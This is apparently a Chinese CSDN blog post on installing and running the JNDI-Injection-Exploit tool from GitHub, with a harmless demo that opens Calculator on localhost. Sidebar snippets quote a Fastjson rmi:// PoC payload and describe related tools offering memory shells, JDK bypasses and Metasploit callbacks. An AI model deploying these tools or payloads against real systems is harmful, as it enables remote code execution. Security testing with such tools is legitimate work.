JNDI-Injection-Exploit工具安装

最新推荐文章于 2024-04-11 17:57:36 发布
最新推荐文章于 2024-04-11 17:57:36 发布
阅读量688 收藏 2
点赞数 1
分类专栏： 安装软件 文章标签： jar java
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/arissa666/article/details/133894520
版权

从github上下载安装

git clone https://github.com/welk1n/JNDI-Injection-Exploit.git

打开

cd JNDI-Injection-Exploit

编译安装，Maven入门百科_maven中quickstart是什么意思-CSDN博客

mvn clean package -DskipTests

因为提示mvn错误，解决下报错问题

mvn报错解决,参照文章：解决linux mvn: command not found - 你我博客

配置路径

配置完成之后就可以看到mvn版本信息了

正常编译显示如下

执行一个本地调用计算机命令

注意需要在.jar的目录写命令，或者java -jar 后面加上目录

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C open /Applications/Calculator.app -A 127.0.0.1

学海无涯一叶扁舟
关注
  • 1
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
JNDI-Injection-Exploit
做你想做的人，没有时间的限制，只要愿意，什么时候都可以start。
12-12 3590
JNDI-Injection-Exploit工具比marshalsec要好用的多，相当于把http服务器和协议服务器放在了一起 github地址 https://github.com/welk1n/JNDI-Injection-Exploit.git 可以下载其release下的安装包 $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address] 其中: -C - 远程class文件中要执行的命令。
JNDI-Injection-Exploit:JNDI注入测试工具（生成JNDI链接的工具可以启动多个服务器来利用JNDI Injection漏洞，例如Jackson，Fastjson等）
05-07
JNDI注入漏洞 描述 JNDI-Injection-Exploit是用于生成可用的JNDI链接并通过启动RMI服务器，LDAP服务器和HTTP服务器来提供后台服务的工具。 RMI服务器和LDAP服务器基于并进行了进一步修改以与HTTP服务器链接。 使用此工具可以获取JNDI链接，可以将这些链接插入POC以测试漏洞。 例如，这是一个Fastjson vul-poc： { " @type " : " com.sun.rowset.JdbcRowSetImpl " , " dataSourceName " : " rmi://127.0.0.1:1099/Object " , " autoCommit " : true } 我们可以用JNDI-Injection-Exploit生成的链接替换“ rmi：//127.0.0.1：1099 / Object”，以测试漏洞。 免责声明 所有信
用marshalsec & Jndi注入利用工具（JNDI-Injection-Exploit）复现Fastjson反序列化漏洞--保姆级！复现过程！
最新发布
2301_79837041的博客
04-11 1720
安装maven环境后，更新完环境变量，但是每次使用mvn命令必须在source之后才能使用，我用的是kali，网上文章说在~./bash里面更新source /etc/profile 我试过了，没有用，最后是换在ubuntu系统里面安装才成功的，目前还不知道为什么，有大佬知道可以告诉我一下。在fastjson中我们使用构造的json格式字符串进行反序列化的攻击，我们给指定类中的值输入恶意内容（rmi链接），让目标服务在反序列化的时候，请求rmi服务器，执行rmi服务器下发的命令，从而导致远程命令执行漏洞。
JNDI-Injection-Exploit-1.0-SNAPSHOT-all
04-30
JNDI-Injection-Exploit-1.0-SNAPSHOT-all
怎样安装和配置Tomcat中的JNDI
安迪的专栏
07-12 810
Tomcat Administration Web Application添加Tomcat 5 可以通过以运行在网页浏览器的配置应用程序非常方便地进行服务器的配置。这个应用程序称为 Tomcat Administration Web Application。然而，Tomcat 5.5 以后的binary 核心安装版不再提供 Tomcat Administration Web Applicati
JNDIExploit-1.4-SNAPSHOT.jar
01-10
编译后的JNDIExploit-1.4-SNAPSHOT.jar，可以直接用，1.4版本支持tomcatBypass路由直接上线msf。
JNDIExploit-1.2-SNAPSHOT
03-20
JNDIExploit-1.2-SNAPSHOT
jndi-JNDI-Injection-Exploit
12-27
java asm jndi_JNDI-Injection-Exploit，用于log4j2漏洞验证 可执行程序为jar包，在命令行中运行以下命令： $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address] 其中: -C ...
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
05-27
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address] where: -C - command executed in the remote classfile. (optional , default command is "open /Applications/...
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.zip
12-12
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.zip
jndi-1.2.1.jar.zip
03-20
ndi1..2.1所需要的jar，1,。2.1
jndi-1_2_1.zip_jndi_jndi-1.2.1.jar
09-23
在JAVA编程中对JNDI的支持.是一个开放的源码.
JNDI-Inject-Exploit
11-04
# JNDI-Inject-Exploit ## 免责声明 本工具仅面向**合法授权的企业安全测试**，如您需测试本工具的可用性请自行搭建靶机环境，在使用本工具进行检测时，您应确保该行为符合当地的法律法规，并且已经取得了足够的授权。**请勿对非授权目标进行扫描，如您在使用本工具的过程中存在任何非法行为，您需自行承担相应后果，作者将不承担任何法律及连带责任。** ## Introduce > 本工具用于解决 Fastjson、log4j2、原生JNDI注入等场景中针对高版本JDK无法加载远程恶意类，通过LDAP服务器返回原生Java反序列化数据，受害者（客户端）在具备反序列化Gadget依赖的情况下可达到命令执行、代码执行、回显命令执行、无文件落地内存马注册等。 > > Solve the high version of JDK Bypass, like FastJson, Jackson, Log4j2, native JNDI injection vulnerabilities, and detect locally available deserialization gad
JNDIExploit:用于JNDI注入攻击的恶意LDAP服务器
03-19
JNDI漏洞利用 一款用作JNDI注入利用的工具，大量参考/引用了Rogue JNDI项目的代码，支持直接插入植入内存shell ，并集成了常见的bypass 高版本JDK的方式，适用于与自动化工具配合使用。 使用说明 使用java -jar JNDIExploit.jar -h查看参数说明，其中--ip参数为必选参数 Usage: java -jar JNDIExploit.jar [options] Options: * -i, --ip Local ip address -l, --ldapPort Ldap bind port (default: 1389) -p, --httpPort Http bind port (default: 8080) -u, --usage Show usage (default: false)
jndi所依赖的jar包
11-17
jndi所依赖的jar包，fscontext.jar和providerutil.jar,jndi.jar 将jndi.jar复制到%JAVA_HOME%\jre\lib\ext目录下就可得到持久的扩展
jndi用到的所有jar
03-31
jndi数据源（保证最全的jar），是一个标准化的配置，尤其在用到websphere容器时，一定会用到，这时我们写java工程，就会用到它。
JNDI目录服务及LDAP服务器使用入门教程
下雨天的程序生活专栏
08-05 1012
 JNDI目录服务入门教程本教程讲述下面内容：1.    iPlanet Directory Server5.1目录服务器iPlanet Directory Server5.1的下载iPlanet Directory Server5.1的安装iPlanet Directory5.1的启动，关闭iPlanet Directory5.1的管理员指南2.    安装编程环境所需的类库JNDI类库下载LD
class文件修改工具_JNDIInjectionExploit JNDI注入利用工具
weixin_32629285的博客
01-02 6408
介绍JNDI注入利用工具，生成JNDI链接并启动后端相关服务，可用于Fastjson、Jackson等相关漏洞的验证。使用可执行程序为jar包，在命令行中运行以下命令：$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]其中:-C - 远程class文件中要执行的命令。...
Log4j2日志框架JNDI注入漏洞分析与复现
两米以下皆凡人的博客
12-14 5135
1、漏洞背景 大家在实际开发中，几乎无可避免的需要用到日志框架，不管你是前端后端客户端，他们可以追踪和记录我们的程序运行中的信息，我们可以利用日志很快定位问题，追踪分析。 而对于Java开发人员来说，最常用的日志框架便是Log4j2和logback，而本次漏洞的主角便是Apache Log4j2，它有一个特别强大的功能插件Lookups 如果我们试图通过日志去输出一个程序中不存在的对象，而在其他地方，那么我们便可以通过这个插件去通过某些方式去查找目标内容，它只提供一种规范，具体使用哪些方式去查找
jndi-injection-exploit-1.0-snapshot-all.jar
03-16
jndi-injection-exploit-1.-snapshot-all.jar 是一个 Java 应用程序，用于测试和利用 JNDI 注入漏洞。JNDI 注入漏洞是一种常见的安全漏洞，攻击者可以利用该漏洞在目标系统上执行任意代码。该工具可以帮助安全研究...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值